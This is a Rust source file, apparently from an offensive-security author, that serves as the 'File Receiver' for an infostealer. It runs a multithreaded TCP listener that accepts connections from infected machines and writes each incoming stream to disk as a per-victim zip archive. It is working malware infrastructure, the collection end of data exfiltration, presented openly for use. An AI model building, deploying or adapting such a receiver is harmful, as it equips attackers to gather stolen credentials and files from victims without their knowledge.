/*
    File Receiver for Infostealer 
    By @5mukx    
*/

use std::fs::File;
use std::io::{self, Read, Write};
use std::net::{TcpListener, TcpStream};
use std::path::Path;
use std::sync::Arc;
use std::thread;

struct ClientThread{
    client_address: String,
    client_socket: TcpStream,
}

impl ClientThread {
    fn new(client_address: String, client_socket: TcpStream) -> Self {
        println!("New connection added: {}", client_address);
        ClientThread {
            client_address,
            client_socket,
        }
    }

    fn run(&mut self) {
        println!("Connection from: {}", self.client_address);
        // Done some mess here ...! shit 
        let addr = self.client_address.replace(":", "-");
        let filename_string = format!("PC-{}.zip", addr);
        let filename = Path::new(&filename_string);

        let mut file = match File::create(&filename) {
            Ok(f) => f,
            Err(e) => {
                eprintln!("Failed to create file: {}", e);
                return;
            }
        };

        let mut total_bytes_received = 0u64;
        let mut buffer = [0u8; 1024];
        
        loop {
            match self.client_socket.read(&mut buffer) {
                Ok(0) => break, 
                Ok(read) => {
                    if let Err(e) = file.write_all(&buffer[..read]) {
                        eprintln!("Failed to write to file: {}", e);
                        break;
                    }
                    total_bytes_received += read as u64;
                    
                }
                Err(e) => {
                    eprintln!("Connection failed with {}: {}", self.client_address, e);
                    break;
                }
            }
        }

        println!("Received {} bytes...", total_bytes_received);

        println!(
            "File received successfully, total bytes: {}",
            total_bytes_received
        );
        println!("Client {} disconnected...", self.client_address);
    }
}


fn handle_client(client_address: String, client_socket: TcpStream){
    let mut client_thread = ClientThread::new(client_address, client_socket);
    client_thread.run();
}

fn main() -> io::Result<()>{
    let localhost = "127.0.0.1";// ip address of the receiver
    let port = 5555;                  // SHIT BRO :()
    let listener = TcpListener::bind(format!("{}:{}", localhost, port))?;  
    let listener = Arc::new(listener);

    println!("Server listening on {}:{}", localhost, port);

    // there goes ...
    loop {
        match listener.accept() {
            Ok((client_socket, client_address)) => {
                let client_address = client_address.to_string();
                // let listener = Arc::clone(&listener); // lets add it for debug if err occurs !

                thread::spawn(move || {
                    handle_client(client_address, client_socket);
                });
            }
            Err(e) => eprintln!("Failed to accept the connection: {}", e),
        }
    }
}
